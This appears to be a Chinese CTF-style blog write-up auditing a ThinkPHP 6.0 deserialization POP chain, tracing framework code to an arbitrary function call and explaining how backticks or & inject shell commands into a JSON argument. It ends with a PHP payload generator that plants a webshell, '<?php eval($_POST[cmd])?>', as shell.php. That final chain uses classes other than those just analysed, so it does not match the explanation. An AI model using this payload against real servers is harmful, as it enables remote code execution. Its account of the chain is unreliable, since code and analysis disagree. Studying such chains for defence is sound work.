ThinkPHP6.0反序列化审计

目录

跟进save()方法

跟进getForStorage()方法

跟进cleanContents()方法

跟进set()方法

跟进serialize方法

总结


开局找__destruct方法

啊错了,开局先选英雄(找到参数

然后再找一下__destruct方法

在抽象类AbstractCache中:

    public function __destruct()
    {
        if (! $this->autosave) {
            $this->save();
        }
    }

$this->autosave==false时将执行$this->save()

跟进save()方法

由于AbstractCache本身是一个抽象类,定义为抽象的类不能被实例化。任何一个类,如果它里面有一个或多个方法是被声明为抽象的,那么这个类就必须被声明为抽象的。被定义为抽象的方法只是声明了其调用方式(参数),不能定义其具体的功能实现。

继承一个抽象类的时候,子类必须定义父类中的所有抽象方法

所以这时候我们要查看哪些类继承了AbstractCache的类

发现了一个名为CacheStore类继承了AbstractCache,这里学到一个以前没注意的知识点。如果父类是一个抽象类,那么可以把方法的功能代码写在子类。所以父类和子类的关系并不是只有子类继承父类,或许这个应该叫孝敬????(手动狗头

    public function save()
    {
        $contents = $this->getForStorage();
​
        $this->store->set($this->key, $contents, $this->expire);
    }

没有任何判断,先执行$this->getForStorage方法,本类没有存在该方法,又得回去父类。

跟进getForStorage()方法

    public function getForStorage()
    {
        $cleaned = $this->cleanContents($this->cache);
​
        return json_encode([$cleaned, $this->complete]);
    }

先执行$this->cleanContents,参数是$this->cache

跟进cleanContents()方法

    public function cleanContents(array $contents)
    {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);
​
        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }
​
        return $contents;
    }

首先对指定数组进行array_flip处理(对数组键和值进行反转),赋值给$cachedProperties

foreach 遍历数组is_array判断外部传入的数组$contents(也就是$this->cache)中的值是否还是一个数组,如果是则将该数组和$cachedProperties进行array_intersect_key处理。

array_intersect_key() 返回一个数组,该数组包含了所有出现在 array 和其它参数数组中同时存在的键名的值。

举个栗子

<?php
$array1 = array('blue'  => 1, 'red'  => 2, 'green'  => 3, 'purple' => 4);
$array2 = array('green' => 5, 'blue' => 6, 'yellow' => 7, 'cyan'   => 8);
​
var_dump(array_intersect_key($array1, $array2));
?>

输出

array(2) {
  ["blue"]=>
  int(1)
  ["green"]=>
  int(3)
}

上例中可以看到,只有 'blue''green' 两个键名同时出现在两个数组中,因此被返回。另外注意 'blue''green' 的值在两个数组中是不同的。但因为只检查键名,因此还是匹配。返回的只是 array 中的值。

处理完返回$contentscleanContents方法执行完毕。

回到上一个方法,赋值给$cleaned。然后再对数组[$cleaned, $this->complete]进行json_encode处理

处理完将json数据赋值给$contents,回到save方法,再执行:$this->store->set($this->key, $contents, $this->expire)

有意思的是父类和子类都没有set方法,而且也没有call方法,那么只能寻找其他的set方法或者call的类,然后把$this->store实例化为该类的对象。

这里有个file类可以利用

跟进set()方法

    public function set($name, $value, $expire = null): bool
    {
        $this->writeTimes++;
​
        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }
​
        $expire   = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);
​
        $dir = dirname($filename);
​
        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }
​
        $data = $this->serialize($value);
​
        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }
​
        $data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);
​
        if ($result) {
            clearstatcache();
            return true;
        }
​
        return false;
    }

关键在$this->serialize($value)

file类找不到serialize该方法,去它的父类driver(/vendor/topthink/framework/src/think/cache/Driver.php)找到。

跟进serialize方法

    protected function serialize($data): string
    {
        if (is_numeric($data)) {
            return (string) $data;
        }
​
        $serialize = $this->options['serialize'][0] ?? "\Opis\Closure\serialize";
​
        return $serialize($data);
    }

发现利用点$serialize($data),其中$this->options['serialize'][0]参数可控,可以执行任意函数,参数为$data

在set方法中我们可以知道data的来源是value,再回到CacheStore类,发现value,再回到CacheStore类,发现value来源于$contents,即前面通过json_encode处理后的json格式数据。

也就是说函数名可以控制,但是执行的的参数必须是json格式。

这里要利用到命令行的特殊规则: 在linux命令行中,会优先执行反引号中的内容,因此当函数名为system,即使参数为json形式不合法但只需其中存在反引号且反引号内的内容合法即可优先执行。

在windows命令行中,就不存在以上反引号的规则,但是可以利用&来执行多指令。

总结

构造POP链的思路到现在已经差不多了,其中涉及了两个类

  • 抽象类AbstractCache和继承它的子类CacheStore

  • file类和它的父类driver

可以加入外部变量的点有:

  • AbstractCache类中的$this->autosave=false

  • CacheStore类中的$this->cache(处理完将变成json数据),用于最终要执行函数的参数。

  • CacheStore类中的$this->store必须为一个file

  • driver类中的$this->options[‘serialize’][0],用于指定要执行的函数名,这里为system

把所有的类放到一起回顾一下整体思路

所以最后的链子就像WP给的那样

<?php
namespace League\Flysystem\Cached\Storage;
abstract class AbstractCache
{
	protected $autosave = false;
	protected $cache = ['<?php eval($_POST[cmd])?>'];
}
namespace League\Flysystem\Cached\Storage;
class Adapter extends AbstractCache
{
	protected $adapter;
	protected $file;
	
	public function __construct($obj)
	{
		$this->adapter = $obj;
		$this->file = 'shell.php';
	} 
}
namespace League\Flysystem\Adapter;
abstract class AbstractAdapter
{
}
namespace League\Flysystem\Adapter;

use League\Flysystem\Cached\Storage\Adapter;
use League\Flysystem\Config;
class Local extends AbstractAdapter
{
	public function has($path)
	{
	}
	
	public function write($path, $contents, Config $config)
	{
	}
}
$a = new Local();
$b = new Adapter($a);
echo base64_encode(serialize($b));

PHP是世界上最好的语言!

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

姜小孩.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值